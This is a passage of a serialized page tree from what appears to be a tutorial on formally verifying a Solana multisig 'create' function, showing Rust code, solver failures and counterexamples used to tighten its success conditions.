creator,\n",{"type":21,"tag":85,"props":23395,"children":23396},{"class":87,"line":697},[23397,23402,23406,23410,23414,23419,23423,23428,23432,23436,23440],{"type":21,"tag":85,"props":23398,"children":23399},{"style":114},[23400],{"type":26,"value":23401},"        space ",{"type":21,"tag":85,"props":23403,"children":23404},{"style":169},[23405],{"type":26,"value":741},{"type":21,"tag":85,"props":23407,"children":23408},{"style":108},[23409],{"type":26,"value":21584},{"type":21,"tag":85,"props":23411,"children":23412},{"style":169},[23413],{"type":26,"value":1087},{"type":21,"tag":85,"props":23415,"children":23416},{"style":108},[23417],{"type":26,"value":23418},"SIZE_WITHOUT_MEMBERS",{"type":21,"tag":85,"props":23420,"children":23421},{"style":169},[23422],{"type":26,"value":3274},{"type":21,"tag":85,"props":23424,"children":23425},{"style":114},[23426],{"type":26,"value":23427}," (members",{"type":21,"tag":85,"props":23429,"children":23430},{"style":169},[23431],{"type":26,"value":73},{"type":21,"tag":85,"props":23433,"children":23434},{"style":114},[23435],{"type":26,"value":21449},{"type":21,"tag":85,"props":23437,"children":23438},{"style":169},[23439],{"type":26,"value":3052},{"type":21,"tag":85,"props":23441,"children":23442},{"style":114},[23443],{"type":26,"value":23444}," 32),\n",{"type":21,"tag":85,"props":23446,"children":23447},{"class":87,"line":706},[23448,23453,23457,23462,23467,23471,23475,23480,23485,23490],{"type":21,"tag":85,"props":23449,"children":23450},{"style":114},[23451],{"type":26,"value":23452},"        seeds ",{"type":21,"tag":85,"props":23454,"children":23455},{"style":169},[23456],{"type":26,"value":741},{"type":21,"tag":85,"props":23458,"children":23459},{"style":114},[23460],{"type":26,"value":23461}," [",{"type":21,"tag":85,"props":23463,"children":23464},{"style":5026},[23465],{"type":26,"value":23466},"b\"squad\"",{"type":21,"tag":85,"props":23468,"children":23469},{"style":114},[23470],{"type":26,"value":23296},{"type":21,"tag":85,"props":23472,"children":23473},{"style":169},[23474],{"type":26,"value":73},{"type":21,"tag":85,"props":23476,"children":23477},{"style":114},[23478],{"type":26,"value":23479},"as_ref(), ",{"type":21,"tag":85,"props":23481,"children":23482},{"style":5026},[23483],{"type":26,"value":23484},"b\"multisig\"",{"type":21,"tag":85,"props":23486,"children":23487},{"style":114},[23488],{"type":26,"value":23489},"], ",{"type":21,"tag":85,"props":23491,"children":23492},{"style":120},[23493],{"type":26,"value":23494},"bump\n",{"type":21,"tag":85,"props":23496,"children":23497},{"class":87,"line":1100},[23498],{"type":21,"tag":85,"props":23499,"children":23500},{"style":114},[23501],{"type":26,"value":23502},"    )]\n",{"type":21,"tag":85,"props":23504,"children":23505},{"class":87,"line":1339},[23506,23510,23515,23519,23524,23528,23532,23536,23540],{"type":21,"tag":85,"props":23507,"children":23508},{"style":102},[23509],{"type":26,"value":21271},{"type":21,"tag":85,"props":23511,"children":23512},{"style":120},[23513],{"type":26,"value":23514}," multisig",{"type":21,"tag":85,"props":23516,"children":23517},{"style":169},[23518],{"type":26,"value":172},{"type":21,"tag":85,"props":23520,"children":23521},{"style":108},[23522],{"type":26,"value":23523}," Account",{"type":21,"tag":85,"props":23525,"children":23526},{"style":114},[23527],{"type":26,"value":23351},{"type":21,"tag":85,"props":23529,"children":23530},{"style":108},[23531],{"type":26,"value":23356},{"type":21,"tag":85,"props":23533,"children":23534},{"style":114},[23535],{"type":26,"value":256},{"type":21,"tag":85,"props":23537,"children":23538},{"style":108},[23539],{"type":26,"value":23170},{"type":21,"tag":85,"props":23541,"children":23542},{"style":114},[23543],{"type":26,"value":461},{"type":21,"tag":85,"props":23545,"children":23546},{"class":87,"line":1348},[23547],{"type":21,"tag":85,"props":23548,"children":23549},{"emptyLinePlaceholder":16},[23550],{"type":26,"value":703},{"type":21,"tag":85,"props":23552,"children":23553},{"class":87,"line":1386},[23554,23559,23563],{"type":21,"tag":85,"props":23555,"children":23556},{"style":114},[23557],{"type":26,"value":23558},"    #[account(",{"type":21,"tag":85,"props":23560,"children":23561},{"style":102},[23562],{"type":26,"value":2039},{"type":21,"tag":85,"props":23564,"children":23565},{"style":114},[23566],{"type":26,"value":20686},{"type":21,"tag":85,"props":23568,"children":23569},{"class":87,"line":1394},[23570,23574,23579,23583,23588,23592,23596],{"type":21,"tag":85,"props":23571,"children":23572},{"style":102},[23573],{"type":26,"value":21271},{"type":21,"tag":85,"props":23575,"children":23576},{"style":120},[23577],{"type":26,"value":23578}," creator",{"type":21,"tag":85,"props":23580,"children":23581},{"style":169},[23582],{"type":26,"value":172},{"type":21,"tag":85,"props":23584,"children":23585},{"style":108},[23586],{"type":26,"value":23587}," Signer",{"type":21,"tag":85,"props":23589,"children":23590},{"style":114},[23591],{"type":26,"value":23351},{"type":21,"tag":85,"props":23593,"children":23594},{"style":108},[23595],{"type":26,"value":23356},{"type":21,"tag":85,"props":23597,"children":23598},{"style":114},[23599],{"type":26,"value":461},{"type":21,"tag":85,"props":23601,"children":23602},{"class":87,"line":1402},[23603,23607,23612,23616,23621,23625,23629,23633,23638],{"type":21,"tag":85,"props":23604,"children":23605},{"style":102},[23606],{"type":26,"value":21271},{"type":21,"tag":85,"props":23608,"children":23609},{"style":120},[23610],{"type":26,"value":23611}," system_program",{"type":21,"tag":85,"props":23613,"children":23614},{"style":169},[23615],{"type":26,"value":172},{"type":21,"tag":85,"props":23617,"children":23618},{"style":108},[23619],{"type":26,"value":23620}," Program",{"type":21,"tag":85,"props":23622,"children":23623},{"style":114},[23624],{"type":26,"value":23351},{"type":21,"tag":85,"props":23626,"children":23627},{"style":108},[23628],{"type":26,"value":23356},{"type":21,"tag":85,"props":23630,"children":23631},{"style":114},[23632],{"type":26,"value":256},{"type":21,"tag":85,"props":23634,"children":23635},{"style":108},[23636],{"type":26,"value":23637},"System",{"type":21,"tag":85,"props":23639,"children":23640},{"style":114},[23641],{"type":26,"value":461},{"type":21,"tag":85,"props":23643,"children":23644},{"class":87,"line":3145},[23645],{"type":21,"tag":85,"props":23646,"children":23647},{"style":114},[23648],{"type":26,"value":2671},{"type":21,"tag":85,"props":23650,"children":23651},{"class":87,"line":3246},[23652],{"type":21,"tag":85,"props":23653,"children":23654},{"emptyLinePlaceholder":16},[23655],{"type":26,"value":703},{"type":21,"tag":85,"props":23657,"children":23658},{"class":87,"line":3255},[23659,23663,23667,23671],{"type":21,"tag":85,"props":23660,"children":23661},{"style":102},[23662],{"type":26,"value":14108},{"type":21,"tag":85,"props":23664,"children":23665},{"style":102},[23666],{"type":26,"value":14113},{"type":21,"tag":85,"props":23668,"children":23669},{"style":1021},[23670],{"type":26,"value":1458},{"type":21,"tag":85,"props":23672,"children":23673},{"style":114},[23674],{"type":26,"value":1029},{"type":21,"tag":85,"props":23676,"children":23677},{"class":87,"line":3286},[23678,23682,23686,23690,23694,23699],{"type":21,"tag":85,"props":23679,"children":23680},{"style":120},[23681],{"type":26,"value":20651},{"type":21,"tag":85,"props":23683,"children":23684},{"style":169},[23685],{"type":26,"value":172},{"type":21,"tag":85,"props":23687,"children":23688},{"style":108},[23689],{"type":26,"value":20717},{"type":21,"tag":85,"props":23691,"children":23692},{"style":114},[23693],{"type":26,"value":117},{"type":21,"tag":85,"props":23695,"children":23696},{"style":108},[23697],{"type":26,"value":23698},"Create",{"type":21,"tag":85,"props":23700,"children":23701},{"style":114},[23702],{"type":26,"value":461},{"type":21,"tag":85,"props":23704,"children":23705},{"class":87,"line":3295},[23706,23711,23715,23719],{"type":21,"tag":85,"props":23707,"children":23708},{"style":120},[23709],{"type":26,"value":23710},"    threshold",{"type":21,"tag":85,"props":23712,"children":23713},{"style":169},[23714],{"type":26,"value":172},{"type":21,"tag":85,"props":23716,"children":23717},{"style":108},[23718],{"type":26,"value":21458},{"type":21,"tag":85,"props":23720,"children":23721},{"style":114},[23722],{"type":26,"value":182},{"type":21,"tag":85,"props":23724,"children":23725},{"class":87,"line":3308},[23726,23731,23735,23739],{"type":21,"tag":85,"props":23727,"children":23728},{"style":120},[23729],{"type":26,"value":23730},"    create_key",{"type":21,"tag":85,"props":23732,"children":23733},{"style":169},[23734],{"type":26,"value":172},{"type":21,"tag":85,"props":23736,"children":23737},{"style":108},[23738],{"type":26,"value":21285},{"type":21,"tag":85,"props":23740,"children":23741},{"style":114},[23742],{"type":26,"value":182},{"type":21,"tag":85,"props":23744,"children":23745},{"class":87,"line":3333},[23746,23751,23755,23759,23763,23767],{"type":21,"tag":85,"props":23747,"children":23748},{"style":120},[23749],{"type":26,"value":23750},"    members",{"type":21,"tag":85,"props":23752,"children":23753},{"style":169},[23754],{"type":26,"value":172},{"type":21,"tag":85,"props":23756,"children":23757},{"style":108},[23758],{"type":26,"value":21817},{"type":21,"tag":85,"props":23760,"children":23761},{"style":114},[23762],{"type":26,"value":117},{"type":21,"tag":85,"props":23764,"children":23765},{"style":108},[23766],{"type":26,"value":21826},{"type":21,"tag":85,"props":23768,"children":23769},{"style":114},[23770],{"type":26,"value":461},{"type":21,"tag":85,"props":23772,"children":23773},{"class":87,"line":3369},[23774,23778,23782,23786],{"type":21,"tag":85,"props":23775,"children":23776},{"style":114},[23777],{"type":26,"value":736},{"type":21,"tag":85,"props":23779,"children":23780},{"style":169},[23781],{"type":26,"value":14175},{"type":21,"tag":85,"props":23783,"children":23784},{"style":108},[23785],{"type":26,"value":14180},{"type":21,"tag":85,"props":23787,"children":23788},{"style":114},[23789],{"type":26,"value":20759},{"type":21,"tag":85,"props":23791,"children":23792},{"class":87,"line":3377},[23793],{"type":21,"tag":85,"props":23794,"children":23795},{"style":92},[23796],{"type":26,"value":23797},"    // sort the members and remove duplicates\n",{"type":21,"tag":85,"props":23799,"children":23800},{"class":87,"line":3386},[23801,23805,23809,23814,23818,23822],{"type":21,"tag":85,"props":23802,"children":23803},{"style":102},[23804],{"type":26,"value":3778},{"type":21,"tag":85,"props":23806,"children":23807},{"style":102},[23808],{"type":26,"value":3783},{"type":21,"tag":85,"props":23810,"children":23811},{"style":120},[23812],{"type":26,"value":23813}," members",{"type":21,"tag":85,"props":23815,"children":23816},{"style":169},[23817],{"type":26,"value":1941},{"type":21,"tag":85,"props":23819,"children":23820},{"style":120},[23821],{"type":26,"value":23813},{"type":21,"tag":85,"props":23823,"children":23824},{"style":114},[23825],{"type":26,"value":2535},{"type":21,"tag":85,"props":23827,"children":23828},{"class":87,"line":3394},[23829,23833,23837,23842],{"type":21,"tag":85,"props":23830,"children":23831},{"style":120},[23832],{"type":26,"value":23750},{"type":21,"tag":85,"props":23834,"children":23835},{"style":169},[23836],{"type":26,"value":73},{"type":21,"tag":85,"props":23838,"children":23839},{"style":1021},[23840],{"type":26,"value":23841},"sort",{"type":21,"tag":85,"props":23843,"children":23844},{"style":114},[23845],{"type":26,"value":4437},{"type":21,"tag":85,"props":23847,"children":23848},{"class":87,"line":3410},[23849,23853,23857,23862],{"type":21,"tag":85,"props":23850,"children":23851},{"style":120},[23852],{"type":26,"value":23750},{"type":21,"tag":85,"props":23854,"children":23855},{"style":169},[23856],{"type":26,"value":73},{"type":21,"tag":85,"props":23858,"children":23859},{"style":1021},[23860],{"type":26,"value":23861},"dedup",{"type":21,"tag":85,"props":23863,"children":23864},{"style":114},[23865],{"type":26,"value":4437},{"type":21,"tag":85,"props":23867,"children":23868},{"class":87,"line":3427},[23869],{"type":21,"tag":85,"props":23870,"children":23871},{"emptyLinePlaceholder":16},[23872],{"type":26,"value":703},{"type":21,"tag":85,"props":23874,"children":23875},{"class":87,"line":3445},[23876],{"type":21,"tag":85,"props":23877,"children":23878},{"style":92},[23879],{"type":26,"value":23880},"    // check we don't exceed u16\n",{"type":21,"tag":85,"props":23882,"children":23883},{"class":87,"line":3490},[23884,23888,23893,23897,23901,23905,23909],{"type":21,"tag":85,"props":23885,"children":23886},{"style":102},[23887],{"type":26,"value":3778},{"type":21,"tag":85,"props":23889,"children":23890},{"style":120},[23891],{"type":26,"value":23892}," total_members",{"type":21,"tag":85,"props":23894,"children":23895},{"style":169},[23896],{"type":26,"value":1941},{"type":21,"tag":85,"props":23898,"children":23899},{"style":120},[23900],{"type":26,"value":23813},{"type":21,"tag":85,"props":23902,"children":23903},{"style":169},[23904],{"type":26,"value":73},{"type":21,"tag":85,"props":23906,"children":23907},{"style":1021},[23908],{"type":26,"value":3520},{"type":21,"tag":85,"props":23910,"children":23911},{"style":114},[23912],{"type":26,"value":4437},{"type":21,"tag":85,"props":23914,"children":23915},{"class":87,"line":3596},[23916,23920,23924,23928,23932],{"type":21,"tag":85,"props":23917,"children":23918},{"style":2885},[23919],{"type":26,"value":12696},{"type":21,"tag":85,"props":23921,"children":23922},{"style":120},[23923],{"type":26,"value":23892},{"type":21,"tag":85,"props":23925,"children":23926},{"style":169},[23927],{"type":26,"value":3085},{"type":21,"tag":85,"props":23929,"children":23930},{"style":2285},[23931],{"type":26,"value":3279},{"type":21,"tag":85,"props":23933,"children":23934},{"style":114},[23935],{"type":26,"value":148},{"type":21,"tag":85,"props":23937,"children":23939},{"class":87,"line":23938},31,[23940,23944,23949,23953,23958,23962,23967],{"type":21,"tag":85,"props":23941,"children":23942},{"style":2885},[23943],{"type":26,"value":16164},{"type":21,"tag":85,"props":23945,"children":23946},{"style":1021},[23947],{"type":26,"value":23948}," err!",{"type":21,"tag":85,"props":23950,"children":23951},{"style":114},[23952],{"type":26,"value":1439},{"type":21,"tag":85,"props":23954,"children":23955},{"style":108},[23956],{"type":26,"value":23957},"MsError",{"type":21,"tag":85,"props":23959,"children":23960},{"style":169},[23961],{"type":26,"value":1087},{"type":21,"tag":85,"props":23963,"children":23964},{"style":108},[23965],{"type":26,"value":23966},"EmptyMembers",{"type":21,"tag":85,"props":23968,"children":23969},{"style":114},[23970],{"type":26,"value":777},{"type":21,"tag":85,"props":23972,"children":23974},{"class":87,"line":23973},32,[23975],{"type":21,"tag":85,"props":23976,"children":23977},{"style":114},[23978],{"type":26,"value":507},{"type":21,"tag":85,"props":23980,"children":23982},{"class":87,"line":23981},33,[23983],{"type":21,"tag":85,"props":23984,"children":23985},{"emptyLinePlaceholder":16},[23986],{"type":26,"value":703},{"type":21,"tag":85,"props":23988,"children":23990},{"class":87,"line":23989},34,[23991],{"type":21,"tag":85,"props":23992,"children":23993},{"style":92},[23994],{"type":26,"value":23995},"    // make sure we don't exceed u16 on first call\n",{"type":21,"tag":85,"props":23997,"children":23999},{"class":87,"line":23998},35,[24000,24004,24008,24012,24016,24020,24024,24029,24033],{"type":21,"tag":85,"props":24001,"children":24002},{"style":2885},[24003],{"type":26,"value":12696},{"type":21,"tag":85,"props":24005,"children":24006},{"style":120},[24007],{"type":26,"value":23892},{"type":21,"tag":85,"props":24009,"children":24010},{"style":169},[24011],{"type":26,"value":14612},{"type":21,"tag":85,"props":24013,"children":24014},{"style":108},[24015],{"type":26,"value":14149},{"type":21,"tag":85,"props":24017,"children":24018},{"style":169},[24019],{"type":26,"value":1087},{"type":21,"tag":85,"props":24021,"children":24022},{"style":1021},[24023],{"type":26,"value":19900},{"type":21,"tag":85,"props":24025,"children":24026},{"style":114},[24027],{"type":26,"value":24028},"(u16",{"type":21,"tag":85,"props":24030,"children":24031},{"style":169},[24032],{"type":26,"value":1087},{"type":21,"tag":85,"props":24034,"children":24035},{"style":114},[24036],{"type":26,"value":24037},"MAX) {\n",{"type":21,"tag":85,"props":24039,"children":24041},{"class":87,"line":24040},36,[24042,24046,24050,24054,24058,24062,24067],{"type":21,"tag":85,"props":24043,"children":24044},{"style":2885},[24045],{"type":26,"value":16164},{"type":21,"tag":85,"props":24047,"children":24048},{"style":1021},[24049],{"type":26,"value":23948},{"type":21,"tag":85,"props":24051,"children":24052},{"style":114},[24053],{"type":26,"value":1439},{"type":21,"tag":85,"props":24055,"children":24056},{"style":108},[24057],{"type":26,"value":23957},{"type":21,"tag":85,"props":24059,"children":24060},{"style":169},[24061],{"type":26,"value":1087},{"type":21,"tag":85,"props":24063,"children":24064},{"style":108},[24065],{"type":26,"value":24066},"MaxMembersReached",{"type":21,"tag":85,"props":24068,"children":24069},{"style":114},[24070],{"type":26,"value":777},{"type":21,"tag":85,"props":24072,"children":24074},{"class":87,"line":24073},37,[24075],{"type":21,"tag":85,"props":24076,"children":24077},{"style":114},[24078],{"type":26,"value":507},{"type":21,"tag":85,"props":24080,"children":24082},{"class":87,"line":24081},38,[24083],{"type":21,"tag":85,"props":24084,"children":24085},{"emptyLinePlaceholder":16},[24086],{"type":26,"value":703},{"type":21,"tag":85,"props":24088,"children":24090},{"class":87,"line":24089},39,[24091],{"type":21,"tag":85,"props":24092,"children":24093},{"style":92},[24094],{"type":26,"value":24095},"    // make sure threshold is valid\n",{"type":21,"tag":85,"props":24097,"children":24099},{"class":87,"line":24098},40,[24100,24104,24108,24112,24116,24120,24124,24129,24133,24138,24142,24146,24150,24154,24158,24163,24168],{"type":21,"tag":85,"props":24101,"children":24102},{"style":2885},[24103],{"type":26,"value":12696},{"type":21,"tag":85,"props":24105,"children":24106},{"style":108},[24107],{"type":26,"value":14149},{"type":21,"tag":85,"props":24109,"children":24110},{"style":169},[24111],{"type":26,"value":1087},{"type":21,"tag":85,"props":24113,"children":24114},{"style":1021},[24115],{"type":26,"value":19900},{"type":21,"tag":85,"props":24117,"children":24118},{"style":114},[24119],{"type":26,"value":1439},{"type":21,"tag":85,"props":24121,"children":24122},{"style":120},[24123],{"type":26,"value":23178},{"type":21,"tag":85,"props":24125,"children":24126},{"style":114},[24127],{"type":26,"value":24128},") \u003C ",{"type":21,"tag":85,"props":24130,"children":24131},{"style":2285},[24132],{"type":26,"value":4779},{"type":21,"tag":85,"props":24134,"children":24135},{"style":169},[24136],{"type":26,"value":24137}," ||",{"type":21,"tag":85,"props":24139,"children":24140},{"style":108},[24141],{"type":26,"value":14149},{"type":21,"tag":85,"props":24143,"children":24144},{"style":169},[24145],{"type":26,"value":1087},{"type":21,"tag":85,"props":24147,"children":24148},{"style":1021},[24149],{"type":26,"value":19900},{"type":21,"tag":85,"props":24151,"children":24152},{"style":114},[24153],{"type":26,"value":1439},{"type":21,"tag":85,"props":24155,"children":24156},{"style":120},[24157],{"type":26,"value":23178},{"type":21,"tag":85,"props":24159,"children":24160},{"style":114},[24161],{"type":26,"value":24162},") > ",{"type":21,"tag":85,"props":24164,"children":24165},{"style":120},[24166],{"type":26,"value":24167},"total_members",{"type":21,"tag":85,"props":24169,"children":24170},{"style":114},[24171],{"type":26,"value":148},{"type":21,"tag":85,"props":24173,"children":24175},{"class":87,"line":24174},41,[24176,24180,24184,24188,24192,24196,24201],{"type":21,"tag":85,"props":24177,"children":24178},{"style":2885},[24179],{"type":26,"value":16164},{"type":21,"tag":85,"props":24181,"children":24182},{"style":1021},[24183],{"type":26,"value":23948},{"type":21,"tag":85,"props":24185,"children":24186},{"style":114},[24187],{"type":26,"value":1439},{"type":21,"tag":85,"props":24189,"children":24190},{"style":108},[24191],{"type":26,"value":23957},{"type":21,"tag":85,"props":24193,"children":24194},{"style":169},[24195],{"type":26,"value":1087},{"type":21,"tag":85,"props":24197,"children":24198},{"style":108},[24199],{"type":26,"value":24200},"InvalidThreshold",{"type":21,"tag":85,"props":24202,"children":24203},{"style":114},[24204],{"type":26,"value":777},{"type":21,"tag":85,"props":24206,"children":24208},{"class":87,"line":24207},42,[24209],{"type":21,"tag":85,"props":24210,"children":24211},{"style":114},[24212],{"type":26,"value":507},{"type":21,"tag":85,"props":24214,"children":24216},{"class":87,"line":24215},43,[24217],{"type":21,"tag":85,"props":24218,"children":24219},{"emptyLinePlaceholder":16},[24220],{"type":26,"value":703},{"type":21,"tag":85,"props":24222,"children":24224},{"class":87,"line":24223},44,[24225,24229,24233,24237,24241,24246,24250,24254],{"type":21,"tag":85,"props":24226,"children":24227},{"style":120},[24228],{"type":26,"value":20651},{"type":21,"tag":85,"props":24230,"children":24231},{"style":169},[24232],{"type":26,"value":73},{"type":21,"tag":85,"props":24234,"children":24235},{"style":114},[24236],{"type":26,"value":15093},{"type":21,"tag":85,"props":24238,"children":24239},{"style":169},[24240],{"type":26,"value":73},{"type":21,"tag":85,"props":24242,"children":24243},{"style":114},[24244],{"type":26,"value":24245},"multisig",{"type":21,"tag":85,"props":24247,"children":24248},{"style":169},[24249],{"type":26,"value":73},{"type":21,"tag":85,"props":24251,"children":24252},{"style":1021},[24253],{"type":26,"value":21168},{"type":21,"tag":85,"props":24255,"children":24256},{"style":114},[24257],{"type":26,"value":1029},{"type":21,"tag":85,"props":24259,"children":24261},{"class":87,"line":24260},45,[24262,24267],{"type":21,"tag":85,"props":24263,"children":24264},{"style":120},[24265],{"type":26,"value":24266},"        threshold",{"type":21,"tag":85,"props":24268,"children":24269},{"style":114},[24270],{"type":26,"value":182},{"type":21,"tag":85,"props":24272,"children":24274},{"class":87,"line":24273},46,[24275,24280],{"type":21,"tag":85,"props":24276,"children":24277},{"style":120},[24278],{"type":26,"value":24279},"        create_key",{"type":21,"tag":85,"props":24281,"children":24282},{"style":114},[24283],{"type":26,"value":182},{"type":21,"tag":85,"props":24285,"children":24287},{"class":87,"line":24286},47,[24288,24293],{"type":21,"tag":85,"props":24289,"children":24290},{"style":120},[24291],{"type":26,"value":24292},"        members",{"type":21,"tag":85,"props":24294,"children":24295},{"style":114},[24296],{"type":26,"value":182},{"type":21,"tag":85,"props":24298,"children":24300},{"class":87,"line":24299},48,[24301,24305,24309,24313,24318,24322,24326,24330,24335,24339,24343,24347],{"type":21,"tag":85,"props":24302,"children":24303},{"style":169},[24304],{"type":26,"value":2102},{"type":21,"tag":85,"props":24306,"children":24307},{"style":120},[24308],{"type":26,"value":20708},{"type":21,"tag":85,"props":24310,"children":24311},{"style":169},[24312],{"type":26,"value":73},{"type":21,"tag":85,"props":24314,"children":24315},{"style":114},[24316],{"type":26,"value":24317},"bumps",{"type":21,"tag":85,"props":24319,"children":24320},{"style":169},[24321],{"type":26,"value":73},{"type":21,"tag":85,"props":24323,"children":24324},{"style":1021},[24325],{"type":26,"value":16772},{"type":21,"tag":85,"props":24327,"children":24328},{"style":114},[24329],{"type":26,"value":1439},{"type":21,"tag":85,"props":24331,"children":24332},{"style":5026},[24333],{"type":26,"value":24334},"\"multisig\"",{"type":21,"tag":85,"props":24336,"children":24337},{"style":114},[24338],{"type":26,"value":1900},{"type":21,"tag":85,"props":24340,"children":24341},{"style":169},[24342],{"type":26,"value":73},{"type":21,"tag":85,"props":24344,"children":24345},{"style":1021},[24346],{"type":26,"value":4432},{"type":21,"tag":85,"props":24348,"children":24349},{"style":114},[24350],{"type":26,"value":4258},{"type":21,"tag":85,"props":24352,"children":24354},{"class":87,"line":24353},49,[24355],{"type":21,"tag":85,"props":24356,"children":24357},{"style":114},[24358],{"type":26,"value":24359},"    )\n",{"type":21,"tag":85,"props":24361,"children":24363},{"class":87,"line":24362},50,[24364],{"type":21,"tag":85,"props":24365,"children":24366},{"style":114},[24367],{"type":26,"value":2671},{"type":21,"tag":22,"props":24369,"children":24370},{},[24371,24373,24378,24380,24385],{"type":26,"value":24372},"We can start by testing an empty ",{"type":21,"tag":66,"props":24374,"children":24376},{"className":24375},[],[24377],{"type":26,"value":20582},{"type":26,"value":24379}," (this will default to ",{"type":21,"tag":66,"props":24381,"children":24383},{"className":24382},[],[24384],{"type":26,"value":4760},{"type":26,"value":24386},"):",{"type":21,"tag":75,"props":24388,"children":24390},{"code":24389,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if()]\npub fn create(...) { ... }\n",[24391],{"type":21,"tag":66,"props":24392,"children":24393},{"__ignoreMap":7},[24394,24402],{"type":21,"tag":85,"props":24395,"children":24396},{"class":87,"line":88},[24397],{"type":21,"tag":85,"props":24398,"children":24399},{"style":114},[24400],{"type":26,"value":24401},"#[succeeds_if()]\n",{"type":21,"tag":85,"props":24403,"children":24404},{"class":87,"line":98},[24405,24409,24413,24417,24421,24425,24430,24434],{"type":21,"tag":85,"props":24406,"children":24407},{"style":102},[24408],{"type":26,"value":14108},{"type":21,"tag":85,"props":24410,"children":24411},{"style":102},[24412],{"type":26,"value":14113},{"type":21,"tag":85,"props":24414,"children":24415},{"style":1021},[24416],{"type":26,"value":1458},{"type":21,"tag":85,"props":24418,"children":24419},{"style":114},[24420],{"type":26,"value":1439},{"type":21,"tag":85,"props":24422,"children":24423},{"style":169},[24424],{"type":26,"value":10004},{"type":21,"tag":85,"props":24426,"children":24427},{"style":114},[24428],{"type":26,"value":24429},") { ",{"type":21,"tag":85,"props":24431,"children":24432},{"style":169},[24433],{"type":26,"value":10004},{"type":21,"tag":85,"props":24435,"children":24436},{"style":114},[24437],{"type":26,"value":10009},{"type":21,"tag":22,"props":24439,"children":24440},{},[24441],{"type":26,"value":24442},"Running the solver, we get:",{"type":21,"tag":75,"props":24444,"children":24446},{"code":24445},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[24447],{"type":21,"tag":66,"props":24448,"children":24449},{"__ignoreMap":7},[24450],{"type":26,"value":24445},{"type":21,"tag":22,"props":24452,"children":24453},{},[24454,24456,24461],{"type":26,"value":24455},"This means that ",{"type":21,"tag":66,"props":24457,"children":24459},{"className":24458},[],[24460],{"type":26,"value":4760},{"type":26,"value":24462}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":21,"tag":22,"props":24464,"children":24465},{},[24466],{"type":26,"value":24467},"We can ask the solver to produce a counterexample:",{"type":21,"tag":75,"props":24469,"children":24471},{"code":24470},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[24472],{"type":21,"tag":66,"props":24473,"children":24474},{"__ignoreMap":7},[24475],{"type":26,"value":24470},{"type":21,"tag":22,"props":24477,"children":24478},{},[24479],{"type":26,"value":24480},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":21,"tag":22,"props":24482,"children":24483},{},[24484],{"type":21,"tag":39,"props":24485,"children":24486},{},[24487,24489,24495],{"type":26,"value":24488},"Note also that the verifier decided to use a ",{"type":21,"tag":66,"props":24490,"children":24492},{"className":24491},[],[24493],{"type":26,"value":24494},"SparseVec",{"type":26,"value":24496}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":21,"tag":22,"props":24498,"children":24499},{},[24500],{"type":21,"tag":39,"props":24501,"children":24502},{},[24503,24505,24510,24511,24517,24519,24524,24526,24531],{"type":26,"value":24504},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":21,"tag":66,"props":24506,"children":24508},{"className":24507},[],[24509],{"type":26,"value":4577},{"type":26,"value":11408},{"type":21,"tag":66,"props":24512,"children":24514},{"className":24513},[],[24515],{"type":26,"value":24516},"pop",{"type":26,"value":24518}," are stubbed out to simply panic for the ",{"type":21,"tag":66,"props":24520,"children":24522},{"className":24521},[],[24523],{"type":26,"value":24494},{"type":26,"value":24525}," and if this code tried to do that we would fall back to the concrete ",{"type":21,"tag":66,"props":24527,"children":24529},{"className":24528},[],[24530],{"type":26,"value":17633},{"type":26,"value":24532}," type.",{"type":21,"tag":22,"props":24534,"children":24535},{},[24536],{"type":26,"value":24537},"We can add this to our constraint and try again:",{"type":21,"tag":75,"props":24539,"children":24541},{"code":24540,"language":79,"meta":7,"className":77,"style":7},"#[succeeds_if(\n    (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[24542],{"type":21,"tag":66,"props":24543,"children":24544},{"__ignoreMap":7},[24545,24553,24590,24597],{"type":21,"tag":85,"props":24546,"children":24547},{"class":87,"line":88},[24548],{"type":21,"tag":85,"props":24549,"children":24550},{"style":114},[24551],{"type":26,"value":24552},"#[succeeds_if(\n",{"type":21,"tag":85,"props":24554,"children":24555},{"class":87,"line":98},[24556,24561,24565,24569,24573,24577,24581,24585],{"type":21,"tag":85,"props":24557,"children":24558},{"style":114},[24559],{"type":26,"value":24560},"    (threshold ",{"type":21,"tag":85,"props":24562,"children":24563},{"style":102},[24564],{"type":26,"value":3209},{"type":21,"tag":85,"props":24566,"children":24567},{"style":108},[24568],{"type":26,"value":14149},{"type":21,"tag":85,"props":24570,"children":24571},{"style":114},[24572],{"type":26,"value":736},{"type":21,"tag":85,"props":24574,"children":24575},{"style":169},[24576],{"type":26,"value":19841},{"type":21,"tag":85,"props":24578,"children":24579},{"style":114},[24580],{"type":26,"value":23813},{"type":21,"tag":85,"props":24582,"children":24583},{"style":169},[24584],{"type":26,"value":73},{"type":21,"tag":85,"props":24586,"children":24587},{"style":114},[24588],{"type":26,"value":24589},"len()\n",{"type":21,"tag":85,"props":24591,"children":24592},{"class":87,"line":151},[24593],{"type":21,"tag":85,"props":24594,"children":24595},{"style":114},[24596],{"type":26,"value":20686},{"type":21,"tag":85,"props":24598,"children":24599},{"class":87,"line":160},[24600,24604,24608,24612,24616,24620,24624,24628],{"type":21,"tag":85,"props":24601,"children":24602},{"style":102},[24603],{"type":26,"value":14108},{"type":21,"tag":85,"props":24605,"children":24606},{"style":102},[24607],{"type":26,"value":14113},{"type":21,"tag":85,"props":24609,"children":24610},{"style":1021},[24611],{"type":26,"value":1458},{"type":21,"tag":85,"props":24613,"children":24614},{"style":114},[24615],{"type":26,"value":1439},{"type":21,"tag":85,"props":24617,"children":24618},{"style":169},[24619],{"type":26,"value":10004},{"type":21,"tag":85,"props":24621,"children":24622},{"style":114},[24623],{"type":26,"value":24429},{"type":21,"tag":85,"props":24625,"children":24626},{"style":169},[24627],{"type":26,"value":10004},{"type":21,"tag":85,"props":24629,"children":24630},{"style":114},[24631],{"type":26,"value":10009},{"type":21,"tag":22,"props":24633,"children":24634},{},[24635],{"type":26,"value":24636},"Verification failed again! This time we get a different counterexample:",{"type":21,"tag":75,"props":24638,"children":24640},{"code":24639},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 